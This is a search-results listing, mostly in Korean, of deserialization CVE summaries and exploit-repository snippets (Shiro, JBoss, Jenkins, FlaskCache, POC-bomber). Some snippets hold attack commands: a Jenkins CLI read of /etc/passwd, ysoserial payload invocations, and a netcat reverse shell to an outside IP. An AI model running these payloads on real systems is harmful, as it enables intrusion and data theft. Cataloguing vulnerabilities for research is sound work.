34831 matches found
FlaskCache_CVE-2021-33026_POC
Pickle Serialization Remote Code Execution - Redis Poisoning PoC Exploit Redis 서버가 실행 중인지 확인 redis-cli -h 127.0.0.1 -p 6379 ping redis-cli keys redis-cli get Keyid 포트 10001에서 netcat 리스닝 시작 : nc -nvlp 10001 Flask Chache 환경 설정 python -m venv venvflaskcache source venvflaskcache\scripts\activate pip...
CVE-2026-103877
Deserialization of Untrusted Data vulnerability in Apache Directory LDAP API. A rogue/compromised LDAP server or pre-TLS MITM can answer a client's loadSchema subschema search with a schema object that contains a serialized Java class, allowing some potential RCE. This issue affects Apache...
CVE-2026-103877 Apache Directory LDAP API: Unsafe loading of Java code from LDAP schema elements
Deserialization of Untrusted Data vulnerability in Apache Directory LDAP API. A rogue/compromised LDAP server or pre-TLS MITM can answer a client's loadSchema subschema search with a schema object that contains a serialized Java class, allowing some potential RCE. This issue affects Apache...
EUVD-2026-91361
Deserialization of Untrusted Data vulnerability in Apache Directory LDAP API. A rogue/compromised LDAP server or pre-TLS MITM can answer a client's loadSchema subschema search with a schema object that contains a serialized Java class, allowing some potential RCE. This issue affects Apache...
CVE-2026-103877
Deserialization of Untrusted Data vulnerability in Apache Directory LDAP API. A rogue/compromised LDAP server or pre-TLS MITM can answer a client's loadSchema subschema search with a schema object that contains a serialized Java class, allowing some potential RCE. This issue affects Apache...
CVE-2026-103877
The Apache Directory LDAP API is vulnerable to a deserialization of untrusted data flaw (CWE-502) in versions 2.1.0 through 2.1.8 . A rogue or compromised LDAP server, or a pre-TLS Man-in-the-Middle (MITM) attacker, can provide a malicious schema object during a loadSchema() subschema search. Thi...
session_reaper_lab
CVE-2025-54236 - SessionReaper Lab CVE-2025-54236SessionReaper의 실제 데모를 위한 Docker 환경: Magento Open Source 2.4.7에서 PHP 객체 역직렬화를 통한 RCE. 통제된 환경에서만 사용하십시오. 명시적 권한 없이 시스템에 대해 실행하지 마십시오. 취약점 정보 CVE-2025-54236 은 Magento Open Source 및 Adobe Commerce 2.4.7 이하 버전에 영향을 미칩니다...
CVE-2017-12149
CVE-2017-12149 CVE-2017-12149 JBOSS as 6.X 역직렬화리버스 쉘 버전 작성자의 명령줄 모드를 기반으로 GUI 인터페이스로 변경 detail:http://www.cnblogs.com/sevck/p/7874438.html...
POC-bomber
🔥 POC-bomber 🦄 POC bomber는 취약점 탐지/공격 도구로, 다수의 고위험 취약점 POC/EXP를 활용해 대상 서버 권한을 신속하게 획득하는 것을 목표로 합니다 이 프로젝트는 인터넷에서 RCE, 임의 파일 업로드, 역직렬화, SQL 인젝션 등 위험성이 높고 서버의 핵심 권한을 획득할 수 있는 취약점 POC/EXP를 수집하여 POC bomber 무기고에 통합합니다. 다수의 고위험 POC로 단일 또는 여러 대상에 퍼징을 수행하여 대량의 자산에서 취약한 대상을 신속하게 발견하고 대상 서버 권한을 획득합니다. 적용...
pwn_jenkins
원격 코드 실행 Jenkins CLI 임의 읽기 CVE-2024-23897은 2.442 미만 및 LTS 2.426.3 미만 버전에 적용 Jenkins 권고, 크레딧 인증된 경우, 전체 파일을 검색할 수 있습니다: java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins -auth abc:abc connect-node "@/etc/passwd" 인증되지 않았거나 Global/Read 권한이 없는 경우, 3줄만 읽을 수 있습니다: 첫 번째 줄 읽기: java...
JavaDeRe
프로젝트 소개 주로 JAVA 역직렬화deserialization를 이용한 반사echo 페이로드 제작 과정에서 class를 base64로 인코딩하고, 긴급 대응 시 base64 문자열을 디코딩하여 class 파일로 복원해 공격 페이로드를 확인해야 하는 상황에 사용됩니다. PS: 주로 제가 게을러서입니다. 사용 예시 evil.java 정상 실행 class 파일을 base64 인코딩 처리 base64로 인코딩된 문자열을 디코딩하여 class로 복원 IDEA에서 디코딩된 결과 확인:...
CVE-2023-6654
CVE-2023-6654 PHPEMS Cookie 역직렬화 취약점입니다. 이 취약점을 이용하면 역직렬화를 통해 SQL 문을 수정하고, SQL 인젝션을 통해 임의 사용자의 비밀번호나 권한을 변경할 수 있습니다. 기본 관리자 계정은 peadmin입니다. Fofa 핑거프린트 app="PHPEMS" 도구 사용법 python exp.py -u http://127.0.0.1:1111 -u 매개변수는 PHPEMS의 URL 주소를 지정합니다. -a 매개변수는 사용자 이름을 지정하며, 기본값은 PHPEMS 기본 관리자 계정인 peadmin입니...
potential-cassandra
CVE-2024-23114 환경 준비 MySQL 인스턴스가 필요합니다. docker run --rm -d --name cassandra -p 9042:9042 cassandr 이제 필요한 테이블을 생성해야 합니다: employee.sql 및 employeecompleted.sql 두 개의 파일이 있습니다. 다음 명령을 실행하세요: docker exec -it cassandra bash root@fe5e7aff17e7:/ cqlsh CREATE KEYSPACE db WITH REPLICATION = 'class' :...
SHIRO-721
SHIRO-721 RememberMe Padding Oracle Vulnerability RCE 0x00 개요: cookie의 rememberMe는 AES-128-CBC 모드로 암호화되어 있으며, padding oracle 공격에 취약합니다. 공격자는 유효한 RememberMe 쿠키를 Padding Oracle Attack의 접두사로 사용한 다음, 정교하게 제작된 RememberMe를 만들어 SHIRO-550과 같은 Java 역직렬화 공격을 수행할 수 있습니다. 0x01 이 문제를 재현하는 단계: 1. 웹사이트에 로그인하고...
SHIRO-550
Shiro RememberMe 1.2.4 역직렬화 취약점（SHIRO-550） commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e /bin/sh 192.168.5.86 8989' n...
CVE-2026-69098_exploit
CVE-2026-69098 — kotaemon 비인증 역직렬화 RCE kotaemon 가 LLM spec을 완전히 덮어쓰므로 페이로드는 실제 LLM 제공자와 전혀 통신하지 않습니다. kotaemon의 공식 Docker 이미지는 root 로 실행되므로 RCE도 root 권한으로 실행됩니다. 작성 시점 기준 업스트림...
Gopherus
Gopherus SSRFServer Side Request Forgery에 취약한 곳을 알고 있다면, 이 도구는 SSRF를 악용하고 RCERemote Code Execution를 얻기 위한 Gopher 페이로드를 생성하는 데 도움이 됩니다. 또한 피해자 서버에서 리버스 셸Reverse shell을 얻는 데도 도움이 됩니다. 더 자세한 정보는 다음 블로그를 참조하세요. Gopherus 관련 블로그 소개 이 도구는 다음을 위한 페이로드를 생성할 수 있습니다: 1. MySQL 포트-3306 2. PostgreSQL포트-5432 3...
CVE-2024-12877
CVE-2024-12877 GiveWP – 기부 플러그인 및 펀드레이징 플랫폼 = 3.19.2 - 인증되지 않은 PHP 객체 주입 설명 WordPress용 GiveWP – 기부 플러그인 및 펀드레이징 플랫폼은 기부 양식의 'firstName'과 같은 신뢰할 수 없는 입력의 역직렬화를 통해 3.19.2를 포함한 모든 버전에서 PHP 객체 주입에 취약합니다. 이로 인해 인증되지 않은 공격자가 PHP 객체를 주입할 수 있습니다. 추가적으로 POP 체인이 존재하면 공격자가 서버에서 임의의 파일을 삭제할 수 있어 원격 코드 실행이...
CVE-2026-21012-Rust-serde-Deserialization-of-Untrusted-Enum-Variant-Injection-
CVE-2026-21012 – Rust serde Deserialization of Untrusted Enum Variant Injection 프로그램 코드 Rust // serdevuln.rs - Deserializes an enum from user JSON without validation use serde::Deserialize, Serialize; use serdejson; deriveDeserialize, Debug enum AdminAction ReadLogs, DeleteUserString,...